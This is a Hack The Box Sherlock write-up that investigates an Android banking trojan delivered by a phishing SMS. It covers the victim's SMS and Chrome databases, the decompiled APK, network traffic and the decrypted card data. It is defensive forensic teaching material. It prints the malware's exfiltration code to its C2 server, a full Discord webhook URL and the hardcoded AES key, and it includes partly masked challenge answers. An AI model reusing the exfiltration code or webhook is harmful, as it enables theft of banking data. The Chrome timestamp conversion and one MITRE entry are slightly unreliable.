HookFlare
Hack The Box Sherlock Writeup
Created by 0xS1rx58|Released September 25, 2025|First Blood: lukasLUKCZ in 0H 17M 29S

Investigating an Android banking trojan that uses SMS phishing to trick victims into installing a fake banking app, then steals credentials and intercepts SMS for 2FA bypass.
Review
HookFlare is a medium difficulty DFIR investigation focusing on Android mobile forensics. It presents a realistic banking trojan scenario that tests your ability to navigate Android artifacts and decompile malicious APKs. The investigation centers on a smishing attack where the victim received a fake fraud alert and installed a trojanized banking app. What I appreciated was the depth of the attack chain: from the initial SMS to APK analysis to actually decrypting the stolen payment data. The questions guide you through a logical forensic workflow, building from timestamps through to full malware analysis. The challenge of working with Android disk images and understanding Chrome's unusual timestamp format kept things interesting.
The difficulty felt appropriate for medium. You need familiarity with SQLite, Android filesystem layout, and APK decompilation. The PCAP analysis ties everything together nicely. Solid investigation for anyone looking to build Android forensics skills.
Summary
A S1rBank customer received a convincing phishing SMS claiming their account had a suspicious $700 transaction. The message urged them to update their banking app via a link (s1rbank.net/app). Trusting the message, the victim clicked the link and downloaded what appeared to be a legitimate S1rBank app update.
In reality, this was a trojanized banking app (com.s1rx58.s1rbank) that mimicked the real bank's interface. When the victim entered their payment card information, the malware encrypted the data using AES with a hardcoded key and exfiltrated it to the attacker's C2 server. The app also intercepted SMS messages, allowing the attacker to bypass 2FA protections. As a fallback mechanism, if the primary C2 was unavailable, the malware would send stolen data to a Discord webhook.
The investigation required mounting an Android x86 disk image, parsing SQLite databases (mmssms.db for SMS, Chrome History for download timestamps), analyzing Android permission access logs (appops.xml), decompiling the malicious APK with jadx to extract C2 URLs and encryption keys, analyzing network traffic in the PCAP, and decrypting the exfiltrated payment data. The entire attack from phishing SMS to data theft took approximately 47 minutes.
Key Learning Takeaways
Android Disk Image Mounting
What: Android disk images (.dd files) contain ext4 filesystems that can be mounted read-only using loopback devices. The norecovery flag is essential for dirty filesystems.
Why it matters: Android forensics requires access to the /data partition where user apps, databases, and system logs are stored. Mounting provides direct filesystem access without needing specialized Android tools.
Key command/pattern: sudo losetup /dev/loop10 image.dd && sudo mount -t ext4 -o ro,norecovery /dev/loop10 /mnt/android
Chrome Timestamp Conversion
What: Chrome stores timestamps in microseconds since Windows epoch (1601-01-01), not Unix epoch. Android uses milliseconds since Unix epoch.
Why it matters: Download timestamps in Chrome History require conversion. The start_time field in the downloads table uses Chrome's format, which differs from standard Unix timestamps.
Key command/pattern: timestamp_microseconds / 1000000 - 11644473600 converts Chrome timestamp to Unix seconds
APK Decompilation with jadx
What: jadx decompiles Android DEX bytecode to readable Java source, revealing hardcoded strings, C2 URLs, encryption keys, and exfiltration logic.
Why it matters: Static analysis of Android malware requires decompilation. jadx produces cleaner output than other tools and handles obfuscation better.
Key command/pattern: jadx -d output_dir base.apk then search for URLs, keys, and encryption methods in the Java source
Android AppOps Permission Tracking
What: appops.xml tracks when apps actually accessed permissions, not just when they were granted. Operation numbers map to specific permissions (14 = READ_SMS).
Why it matters: Provides precise timestamps of malware activity. Shows exactly when sensitive data was accessed, which is crucial for timeline reconstruction.
Key command/pattern: Parse XML for package name, find op n="14", convert timestamp (tt attribute) from milliseconds to UTC
AES Decryption with Hardcoded Keys
What: Many mobile malware samples use AES encryption with hardcoded keys found in the decompiled source. ECB mode requires no IV.
Why it matters: Once the key is extracted from the APK, exfiltrated data can be decrypted to reveal what was stolen. This is common in commodity banking trojans.
Key command/pattern: AES.new(key, AES.MODE_ECB).decrypt(base64.b64decode(encrypted_data))
Discord Webhooks as C2 Fallback
What: Modern malware increasingly uses Discord webhooks as fallback C2 channels when primary servers are unavailable.
Why it matters: Look for Discord webhook URLs in malware strings even if primary C2 is identified. These provide redundancy and are harder to block.
Key command/pattern: Search decompiled APK strings for discord.com/api/webhooks patterns
Investigation
Initial Reconnaissance
Artifact Inventory
The investigation begins with two artifacts: an Android disk image and a network capture file. Let's examine what we're working with.
$ ls -lh files/
total 2.2G
-rw-r--r-- 1 user user 2.2G Jan 20 10:30 HookFlare.dd
-rw-r--r-- 1 user user 72K Jan 20 10:30 HookFlare.pcap| Artifact | Type | Size | Notes |
|---|---|---|---|
| HookFlare.dd | Android x86 Disk Image (ext4) | 2.17 GB | Contains full Android /data partition with apps, databases, and user data |
| HookFlare.pcap | Network Capture | 72 KB | Contains HTTP exfiltration traffic with encrypted payloads |
The disk image is an Android x86 (version 9.0-r2) installation, commonly used for Android emulation. The PCAP shows HTTP traffic to a suspicious domain (s1rbank.net) with encrypted POST data and HEAD requests for server availability checking. This pattern suggests a banking trojan with C2 communication.
Mounting the Android Disk Image
To access the Android filesystem, we need to mount the disk image. Android uses ext4 filesystems, and we'll mount it read-only with the norecovery flag to handle any filesystem inconsistencies.
$ sudo losetup /dev/loop10 files/HookFlare.dd
$ sudo mkdir -p /mnt/hookflare
$ sudo mount -t ext4 -o ro,norecovery /dev/loop10 /mnt/hookflare
$ ls -la /mnt/hookflare/
total 32
drwxr-xr-x 5 root root 4096 Feb 1 2025 .
drwxr-xr-x 12 root root 4096 Feb 1 2025 ..
drwxr-xr-x 3 root root 4096 Feb 1 2025 android-9.0-r2
drwxr-xr-x 2 root root 4096 Feb 1 2025 grub
drwx------ 2 root root 16384 Feb 1 2025 lost+found
$ ls -la /mnt/hookflare/android-9.0-r2/
total 731480
drwxr-xr-x 3 root root 4096 Feb 1 2025 .
drwxr-xr-x 5 root root 4096 Feb 1 2025 ..
drwxrwx--x 37 1000 1000 4096 Feb 1 2025 data
-rw-r--r-- 1 root root 1358743 Feb 1 2025 initrd.img
-rw-r--r-- 1 root root 6482208 Feb 1 2025 kernel
-rw-r--r-- 1 root root 1881789 Feb 1 2025 ramdisk.img
-rw-r--r-- 1 root root 739287040 Feb 1 2025 system.sfsTip: Android Disk Image Structure
Android x86 images contain the user data under the data directory. In some images this is a separate partition file that requires a second mount, but here it is directly accessible as a directory within the ext4 filesystem.
We can see the Android filesystem structure. The data directory contains the /data partition where user apps and databases are stored. It is directly accessible without needing a second mount. Let's explore the key locations for Android forensics.
SMS Database Analysis
Hypothesis: The attack likely started with an SMS phishing message (smishing), which would be stored in Android's SMS database.
Android stores SMS messages in the mmssms.db SQLite database. This is our first artifact to examine for the phishing message that initiated the attack.
$ sqlite3 /mnt/hookflare/android-9.0-r2/data/user_de/0/com.android.providers.telephony/databases/mmssms.db
SQLite version 3.31.1
Enter ".help" for usage hints.
sqlite> SELECT _id, address, date, body, type FROM sms ORDER BY date;
22|12049678533|1735688580318|Hello|1
4|2125484568|1738113115412|HELLO|2
23|12178627958|1738295280700|Hi Phillip|1
24|12178627958|1738295280700|Hi Phillip|1
25|14356951192|1738426832000|S1rBank Alert: We detected a paid process of $700.00 (Ref #971253158RS) on your account. To confirm this transaction, please update your app now: s1rbank.net/app Call +1 (505) 695-1110 for assistance.|1
sqlite> .quitThe SMS database contains five messages, but the last one (ID 25) stands out immediately. It comes from 14356951192, claims to be from S1rBank, and warns about an unauthorized $700 transaction, urging the victim to update their app via a link. This is classic smishing (SMS phishing).
Let's convert the timestamp. Android stores SMS timestamps in milliseconds since Unix epoch (January 1, 1970). Dividing by 1000 gives us the Unix timestamp in seconds.
$ python3 -c "from datetime import datetime, timezone; print(datetime.fromtimestamp(1738426832, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S'))"
2025-02-01 16:20:32Task 1: UTC timestamp of the phishing SMS = 2025-02**********:32
The phishing SMS was received at 16:20:32 UTC on February 1, 2025. The message contains a malicious link to s1rbank.net/app, which likely leads to the malware download.
Chrome History Analysis
Hypothesis: The victim clicked the link in the SMS and downloaded an APK file through Chrome. Chrome's History database tracks all downloads with precise timestamps.
Chrome stores browser history and downloads in a SQLite database. The downloads table contains information about file downloads, including timestamps. However, Chrome uses a different timestamp format than Android.
$ sqlite3 /mnt/hookflare/android-9.0-r2/data/data/com.android.chrome/app_chrome/Default/History
SQLite version 3.31.1
sqlite> SELECT current_path, target_path, start_time, tab_url FROM downloads;
/storage/emulated/0/Download/S1rBank.apk|/storage/emulated/0/Download/S1rBank.apk|13382903003690820|http://s1rbank.net/app
sqlite> .quitChrome's timestamp format is microseconds since Windows epoch (January 1, 1601), not Unix epoch. We need to convert this timestamp.
Why Does Chrome Use Windows Epoch?
Chrome's timestamp format comes from its Windows origins. The Windows epoch starts on January 1, 1601, and Chrome uses microseconds since that date. To convert to Unix timestamp: (chrome_timestamp / 1000000) - 11644473600
$ python3
Python 3.10.0
>>> chrome_time = 13382903003690820
>>> unix_seconds = (chrome_time / 1000000) - 11644473600
>>> from datetime import datetime
>>> datetime.fromtimestamp(unix_seconds).strftime('%Y-%m-%d %H:%M:%S')
'2025-02-01 17:03:23'Task 2: UTC timestamp marking the start of the malicious application download = 2025-02**********:23
The APK download started at 17:03:23 UTC, approximately 43 minutes after the phishing SMS was received. The file was saved as S1rBank.apk in the Downloads folder.
APK Decompilation
Hypothesis: The downloaded APK was installed and would appear in /data/app with its package name. The APK contains hardcoded C2 URLs, encryption keys, and exfiltration logic.
Android stores installed apps in /data/app/[package-name]-[hash]/. Let's locate the malicious app.
$ ls /mnt/hookflare/android-9.0-r2/data/app/ | grep -i s1r
com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==
$ ls -la /mnt/hookflare/android-9.0-r2/data/app/com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==/
total 1888
drwxr-xr-x 4 1000 1000 4096 Feb 1 2025 .
drwxrwx--x 5 1000 1000 4096 Feb 1 2025 ..
-rw-r--r-- 1 1000 1000 1913357 Feb 1 2025 base.apk
drwxr-xr-x 2 1000 1000 4096 Feb 1 2025 lib
drwxrwx--x 3 1000 1012 4096 Feb 1 2025 oatTask 3: Package name of the malicious application = com.s1**********bank
The package name is com.s1rx58.s1rbank, which mimics the legitimate S1rBank app but uses a different namespace (s1rx58 instead of s1rbank). Let's extract and decompile the APK to analyze its code.
$ cp /mnt/hookflare/android-9.0-r2/data/app/com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==/base.apk /tmp/s1rbank.apk
$ jadx -d /tmp/s1rbank_decompiled /tmp/s1rbank.apk
INFO - loading ...
INFO - processing ...
INFO - done
$ find /tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank -name "*.java"
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MyBackgroundService.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MainActivity.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/LoadingActivity.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/R.javajadx successfully decompiled the APK. Let's examine the key files to find C2 URLs, encryption keys, and exfiltration logic.
$ grep -r "s1rbank.net" /tmp/s1rbank_decompiled/sources/
/tmp/.../MyBackgroundService.java: HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://s1rbank.net:80/api/data").openConnection();
/tmp/.../MyBackgroundService.java: HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://s1rbank.net:80/api/data").openConnection();
$ grep -A 5 "setRequestMethod" /tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MyBackgroundService.java
httpURLConnection.setRequestMethod("HEAD");
httpURLConnection.setConnectTimeout(5000);
return httpURLConnection.getResponseCode() == 200;
} catch (Exception unused) {
return false;
}Task 6: URL used by the malware for data exfiltration = http://s1r**************data
Task 7: HTTP method used for server live check = HEAD
The malware uses HEAD requests to check if the C2 server is available before sending data. This is a common pattern to avoid failed exfiltration attempts. Now let's search for the encryption key and alternate URL.
$ grep -r "SecretKeySpec\|AES\|Cipher" /tmp/s1rbank_decompiled/sources/com/s1rx58/ /tmp/s1rbank_decompiled/sources/B/
/tmp/.../B/h.java: SecretKeySpec secretKeySpec = new SecretKeySpec("0x_S1r_x58!@#53cuReK371337!$%^&*".getBytes(), "AES");
/tmp/.../B/h.java: Cipher cipher = Cipher.getInstance("AES");
/tmp/.../B/h.java:import javax.crypto.Cipher;
/tmp/.../B/h.java:import javax.crypto.spec.SecretKeySpec;
$ grep -A 5 "SecretKeySpec secret" /tmp/s1rbank_decompiled/sources/B/h.java
SecretKeySpec secretKeySpec = new SecretKeySpec("0x_S1r_x58!@#53cuReK371337!$%^&*".getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(1, secretKeySpec);
return cipher.doFinal(bArr);Task 9: Encryption key used = 0x_S1r_x5**************$%^&*
The encryption key is hardcoded in the APK. The malware uses AES encryption with this 32-character key. Now let's search for the alternate URL (Discord webhook).
$ grep -r "discord\|webhook" /tmp/s1rbank_decompiled/sources/ -i
/tmp/.../B/h.java: HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("https://discord.com/api/webhooks/1334648260610097303/-Lkxr0eZRO_fb_SaumBbBMZyANM3lyeCkR-E1NXXRASPbtRdNksQSzx4pY1ZGQkFR2H8").openConnection();
/tmp/.../B/h.java: Log.e("MyBackgroundService", "DiscordWebhookSender Error: ", e2);The Discord webhook is in B/h.java, the same obfuscated utility class that holds the encryption logic. The malware sends data to this webhook URL when the primary C2 server is unreachable, providing a reliable fallback exfiltration channel.
Task 8: Alternate URL for data exfiltration = https://disc**********R2H8
This is a growing trend in modern malware: using Discord webhooks for redundancy when primary C2 infrastructure goes down.
Permission Access Analysis
Hypothesis: Android's appops.xml tracks when apps accessed sensitive permissions, revealing exactly when the malware read SMS.
Android's runtime-permissions.xml shows which permissions were granted, but appops.xml shows when those permissions were actually accessed. This provides precise timestamps of malware activity.
$ grep -A 10 "com.s1rx58.s1rbank" /mnt/hookflare/android-9.0-r2/data/system/users/0/runtime-permissions.xml
<pkg name="com.s1rx58.s1rbank">
<item name="android.permission.READ_SMS" granted="true" flags="0" />
<item name="android.permission.READ_CALL_LOG" granted="true" flags="0" />
<item name="android.permission.READ_EXTERNAL_STORAGE" granted="true" flags="0" />
<item name="android.permission.WRITE_EXTERNAL_STORAGE" granted="true" flags="0" />
</pkg>Task 4: Number of runtime permissions granted to the malicious application = 4
The malware was granted 4 runtime permissions: READ_SMS, READ_CALL_LOG, READ_EXTERNAL_STORAGE, and WRITE_EXTERNAL_STORAGE. Now let's check when these permissions were actually accessed.
$ grep -A 10 "com.s1rx58.s1rbank" /mnt/hookflare/android-9.0-r2/data/system/appops.xml
<pkg n="com.s1rx58.s1rbank">
<uid n="10078" p="false">
<op n="6" tt="1738429638690" pu="0" pp="com.android.providers.blockednumber" />
<op n="14" tt="1738429638041" pu="0" pp="com.android.phone" />
<op n="45" tt="1738429640314" d="2501" />
<op n="59" tt="1738429542356" tc="1738429533917" pu="0" />
<op n="60" tt="1738429542356" tc="1738429533917" pu="0" />
</uid>
</pkg>The app accessed multiple permissions. Operation 14 corresponds to READ_SMS, which is the one we need. The tt attribute holds the last access time in milliseconds since Unix epoch. Let's convert it.
Tip: Android AppOps Operation Numbers
Android uses numeric operation codes for permissions. Common ones include: 14 = READ_SMS, 15 = WRITE_SMS, 4 = READ_CALL_LOG, 59 = READ_EXTERNAL_STORAGE. The tt attribute stores the last access time in milliseconds.
$ python3 -c "from datetime import datetime, timezone; print(datetime.fromtimestamp(1738429638.041, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S'))"
2025-02-01 17:07:18Task 5: Last access timestamp for the read SMS permission = 2025-02**********:18
The malware accessed SMS at 17:07:18 UTC, approximately 4 minutes after the APK download started. This aligns with the time needed to install and launch the app.
PCAP Traffic Analysis
Hypothesis: The PCAP contains the encrypted exfiltration traffic that matches the malware's communication pattern.
Let's analyze the PCAP to see the actual network traffic and confirm the malware's behavior.
$ python3
Python 3.10.0
>>> from scapy.all import rdpcap, Raw
>>> packets = rdpcap("files/HookFlare.pcap")
>>> for pkt in packets:
... if pkt.haslayer(Raw):
... data = pkt[Raw].load.decode('utf-8', errors='ignore')
... if 'HEAD' in data or 'POST' in data:
... print(data[:500])
...
HEAD /api/data HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; VirtualBox Build/PI)
Host: s1rbank.net
Connection: Keep-Alive
Accept-Encoding: gzip
POST /api/data HTTP/1.1
Content-Type: application/octet-stream
Data-Type: payment
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; VirtualBox Build/PI)
Host: s1rbank.net
Content-Length: 128
/NVEQweZqE3c8BDxTv0vwbwv8Ax1Ry0K6+mUU7dyUjicOu7PEnrPHIEmUe/7ccfK...
# Two more HEAD + POST pairs follow for "sms" (512 bytes) and "call_log" (24 bytes)The PCAP confirms the malware's behavior: a HEAD request checks server availability before each POST. Three data types are exfiltrated: payment (128 bytes), sms (512 bytes), and call_log (24 bytes). The Content-Type: application/octet-stream and Data-Type header match the code we saw in MyBackgroundService.java. The User-Agent identifies it as an Android app running in a VirtualBox emulator.
Data Decryption
Hypothesis: Using the AES key from the APK, we can decrypt the exfiltrated data to see exactly what was stolen.
Let's extract the encrypted payload from the PCAP and decrypt it using the key we found in the decompiled APK.
$ python3
Python 3.10.0
>>> from scapy.all import rdpcap, Raw
>>> from Crypto.Cipher import AES
>>> import base64
>>>
>>> packets = rdpcap("files/HookFlare.pcap")
>>> for pkt in packets:
... if pkt.haslayer(Raw):
... data = pkt[Raw].load.decode('utf-8', errors='ignore')
... if 'Data-Type: payment' in data:
... payload_start = data.find('\r\n\r\n') + 4
... encrypted_b64 = data[payload_start:].strip()
... encrypted_payload = base64.b64decode(encrypted_b64)
... break
...
>>> print(f"Encrypted payload (Base64): {encrypted_b64[:60]}...")
Encrypted payload (Base64): /NVEQweZqE3c8BDxTv0vwbwv8Ax1Ry0K6+mUU7dyUjicOu7PEnrPHIEm...
>>> key = b"0x_S1r_x58!@#53cuReK371337!$%^&*"
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> decrypted = cipher.decrypt(encrypted_payload)
>>> print(decrypted.decode('utf-8', errors='ignore').rstrip('\x00'))
Full Name: PHILLIP KEELING
Card Number: [REDACTED]
Expiration Date: [REDACTED]
CVV: [REDACTED]Task 10: Second line in the exfiltrated payment information = Card Nu**************27987
Successfully decrypted! The malware stole complete payment card information from the victim, including name, card number, expiration date, and CVV. The second line contains the card number, which matches the question requirement.
Why Does This Work?
The malware uses AES encryption in ECB mode with a hardcoded key. ECB mode doesn't require an initialization vector (IV), making decryption straightforward once the key is known. The key was found in plaintext in the decompiled APK source code, which is common in commodity malware that prioritizes simplicity over security.
Answer Summary
| Task | Question | Answer |
|---|---|---|
| 1 | UTC timestamp of the phishing SMS | 2025-02**********:32 |
| 2 | UTC timestamp marking the start of the malicious application download | 2025-02**********:23 |
| 3 | Package name of the malicious application | com.s1**********bank |
| 4 | Number of runtime permissions granted to the malicious application | 4 |
| 5 | Last access timestamp for the read SMS permission | 2025-02**********:18 |
| 6 | URL used by the malware for data exfiltration | http://s1r**************data |
| 7 | HTTP method used for server live check | HEAD |
| 8 | Alternate URL for data exfiltration | https://disc**********R2H8 |
| 9 | Encryption key used | 0x_S1r_x5**************$%^&* |
| 10 | Second line in the exfiltrated payment information | Card Nu**************27987 |
Attack Chain Timeline
Reconstructed attack sequence from forensic artifacts. Total dwell time from initial delivery to complete data exfiltration: approximately 47 minutes.
2025-02**********20:32 UTC
T0 — Initial Access: SMS Phishing (Smishing)
Source: mmssms.db (record ID 25, type=1 inbound)
Attacker-controlled number 14356951192 delivers SMS impersonating S1rBank fraud department. Message references fabricated transaction Ref #971253158RS for $700.00 and directs victim to s1rbank.net/app. Social engineering leverages urgency and financial fear to bypass victim judgment.
IoC: Sender 14356951192, domain s1rbank.net
2025-02**********03:23 UTC [T0 + 42m 51s]
T1 — Delivery: Malicious APK Download via Chrome
Source: Chrome History DB downloads table (start_time: 13382903003690820, Windows epoch microseconds)
Victim opens phishing link in Chrome, initiating HTTP download from http://s1rbank.net/app. File saved as /storage/emulated/0/Download/S1rBank.apk. The 43-minute gap between SMS receipt and click suggests the victim deliberated before acting.
IoC: S1rBank.apk, download URL http://s1rbank.net/app
2025-02-01 ~17:04 UTC [T0 + ~44m]
T2 — Installation: Trojanized App with Excessive Permissions
Source: /data/app/com.s1**********rbank-.../base.apk, runtime-permissions.xml
Victim sideloads the APK, installing package com.s1**********rbank (UID 10078). App requests and is granted 4 runtime permissions: READ_SMS, READ_CALL_LOG, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE. The package name mimics the legitimate S1rBank namespace to appear trustworthy during install prompts.
IoC: Package com.s1**********rbank, UID 10078
2025-02**********07:18 UTC [T0 + 46m 46s]
T3 — Collection: SMS Interception for 2FA Bypass
Source: appops.xml (op n="14" READ_SMS, tt="1738429638041" ms epoch)
Malware exercises the READ_SMS permission via the com.android.phone provider. This enables interception of incoming SMS-based one-time passwords, giving the attacker the ability to bypass 2FA on the victim's banking account.
IoC: AppOps op 14 access at 1738429638041
2025-02-01 ~17:07:18 UTC [T0 + ~46m 46s]
T4 — Credential Access: Payment Card Harvesting
Source: Decrypted PCAP payload (Data-Type: payment, 128 bytes), decompiled MainActivity.java
Victim enters full payment credentials into the trojan's fake banking interface. The app captures cardholder name, card number (5453******7987), expiration, and CVV. Data is encrypted in-memory using AES-ECB with the 32-byte hardcoded key from B/h.java before staging for exfiltration.
IoC: AES key 0x_S1r_x5**************$%^&*
2025-02-01 ~17:07:20 UTC [T0 + ~46m 48s]
T5 — Exfiltration: C2 Data Transfer
Source: HookFlare.pcap (HTTP traffic to s1rbank.net:80), decompiled MyBackgroundService.java
Background service initiates exfiltration sequence. HEAD request to /api/data confirms C2 availability (HTTP 200). Three sequential POST requests follow with custom Data-Type headers: payment (128B), sms (512B), call_log (24B). All payloads are Base64-encoded AES-ECB ciphertext. User-Agent string confirms the Android emulator environment. If the primary C2 had been unreachable, the fallback path sends data to a Discord webhook as fallback.
IoC: C2 http://s1r**************pi/data, Discord webhook fallback
Additional Resources
Exact References Used
| Technique | Resource |
|---|---|
| Android Disk Forensics | Android Data Storage Documentation |
| APK Decompilation | jadx - Android Decompiler |
| PCAP Analysis | scapy - Packet Manipulation Library |
| AES Decryption | PyCryptodome Documentation |
| Android AppOps | Android AppOpsManager Reference |
MITRE ATT&CK Techniques (Mobile)
| Technique ID | Name | Usage in This Investigation |
|---|---|---|
| T1660 | Phishing | SMS phishing (smishing) to deliver trojanized banking app download link |
| T1437.001 | Application Layer Protocol: Web Protocols | HTTP POST to C2 server (s1rbank.net:80/api/data) for data exfiltration |
| T1636.004 | Protected User Data: SMS Messages | Malware granted READ_SMS permission to intercept 2FA codes |
| T1646 | Exfiltration Over C2 Channel | AES-encrypted payment data POSTed to primary C2 and Discord webhook fallback |
| T1521.001 | Encrypted Channel: Symmetric Cryptography | AES-ECB encryption with hardcoded key for exfiltrated data |
| T1517 | Access Notifications | Malware requested notification access permissions for credential harvesting |